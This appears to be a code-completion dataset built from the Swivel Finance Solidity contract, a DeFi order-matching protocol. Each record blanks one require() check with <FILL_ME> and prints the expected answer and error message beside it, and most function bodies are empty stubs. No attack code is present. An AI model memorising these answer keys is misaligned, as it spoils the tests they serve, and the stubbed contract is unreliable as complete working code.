Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.transferVaultNotionalFee(o.underlying,o.maturity,msg.sender,fee),'notional fee transfer failed'
199,320
mPlace.transferVaultNotionalFee(o.underlying,o.maturity,msg.sender,fee)
'taker amount > available volume'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require(<FILL_ME>) filled[hash] += a; Erc20 uToken = Erc20(o.underlying); uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transferFrom(uToken, o.maker, msg.sender, premiumFilled); // transfer principal + fee in underlying to swivel (from sender) uint256 fee = premiumFilled / feenominators[0]; Safe.transferFrom(uToken, msg.sender, address(this), (a + fee)); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(CErc20(mPlace.cTokenAddress(o.underlying, o.maturity)).mint(a) == 0, 'minting CToken Failed'); // alert marketplace require(mPlace.custodialInitiate(o.underlying, o.maturity, msg.sender, o.maker, a), 'custodial initiate failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
(a+filled[hash])<=o.principal,'taker amount > available volume'
199,320
(a+filled[hash])<=o.principal
'minting CToken Failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; Erc20 uToken = Erc20(o.underlying); uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transferFrom(uToken, o.maker, msg.sender, premiumFilled); // transfer principal + fee in underlying to swivel (from sender) uint256 fee = premiumFilled / feenominators[0]; Safe.transferFrom(uToken, msg.sender, address(this), (a + fee)); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(<FILL_ME>) // alert marketplace require(mPlace.custodialInitiate(o.underlying, o.maturity, msg.sender, o.maker, a), 'custodial initiate failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
CErc20(mPlace.cTokenAddress(o.underlying,o.maturity)).mint(a)==0,'minting CToken Failed'
199,320
CErc20(mPlace.cTokenAddress(o.underlying,o.maturity)).mint(a)==0
'custodial initiate failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require((a + filled[hash]) <= o.principal, 'taker amount > available volume'); filled[hash] += a; Erc20 uToken = Erc20(o.underlying); uint256 premiumFilled = (a * o.premium) / o.principal; Safe.transferFrom(uToken, o.maker, msg.sender, premiumFilled); // transfer principal + fee in underlying to swivel (from sender) uint256 fee = premiumFilled / feenominators[0]; Safe.transferFrom(uToken, msg.sender, address(this), (a + fee)); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(CErc20(mPlace.cTokenAddress(o.underlying, o.maturity)).mint(a) == 0, 'minting CToken Failed'); // alert marketplace require(<FILL_ME>) emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** /// @notice Allows a user to exit (sell) a currently held position to the marketplace. /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Components of a valid ECDSA signature function exit(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to exit their zcTokens by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their Vault filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitVaultFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to exit their zcTokens by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, sender, maker, principalFilled) to MarketPlace.exitFillingExit /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function exitZcTokenFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to cancel an order, preventing it from being filled in the future /// @param o Order being cancelled /// @param c Components of a valid ECDSA signature function cancel(Hash.Order calldata o, Sig.Components calldata c) external returns (bool) { } // ********* ADMINISTRATIVE *************** /// @param a Address of a new admin function transferAdmin(address a) external authorized(admin) returns (bool) { } /// @notice Allows the admin to schedule the withdrawal of tokens /// @param e Address of (erc20) token to withdraw function scheduleWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Emergency function to block unplanned withdrawals /// @param e Address of token withdrawal to block function blockWithdrawal(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to withdraw the given token, provided the holding period has been observed /// @param e Address of token to withdraw function withdraw(address e) external authorized(admin) returns (bool) { } /// @notice Allows the admin to set a new fee denominator /// @param i The index of the new fee denominator /// @param d The new fee denominator function setFee(uint16 i, uint16 d) external authorized(admin) returns (bool) { } /// @notice Allows the admin to bulk approve given compound addresses at the underlying token, saving marginal approvals /// @param u array of underlying token addresses /// @param c array of compound token addresses function approveUnderlying(address[] calldata u, address[] calldata c) external authorized(admin) returns (bool) { } // ********* PROTOCOL UTILITY *************** /// @notice Allows users to deposit underlying and in the process split it into/mint /// zcTokens and vault notional. Calls mPlace.mintZcTokenAddingNotional /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of underlying being deposited function splitUnderlying(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows users deposit/burn 1-1 amounts of both zcTokens and vault notional, /// in the process "combining" the two, and redeeming underlying. Calls mPlace.burnZcTokenRemovingNotional. /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function combineTokens(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows zcToken holders to redeem their tokens for underlying tokens after maturity has been reached (via MarketPlace). /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market /// @param a Amount of zcTokens being redeemed function redeemZcToken(address u, uint256 m, uint256 a) external returns (bool) { } /// @notice Allows Vault owners to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Allows Swivel to redeem any currently accrued interest (via MarketPlace) /// @param u Underlying token address associated with the market /// @param m Maturity timestamp of the market function redeemSwivelVaultInterest(address u, uint256 m) external returns (bool) { } /// @notice Varifies the validity of an order and it's signature. /// @param o An offline Swivel.Order /// @param c Components of a valid ECDSA signature /// @return the hashed order. function validOrderHash(Hash.Order calldata o, Sig.Components calldata c) internal view returns (bytes32) { } modifier authorized(address a) { } }
mPlace.custodialInitiate(o.underlying,o.maturity,msg.sender,o.maker,a),'custodial initiate failed'
199,320
mPlace.custodialInitiate(o.underlying,o.maturity,msg.sender,o.maker,a)
'zcToken exchange failed'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, 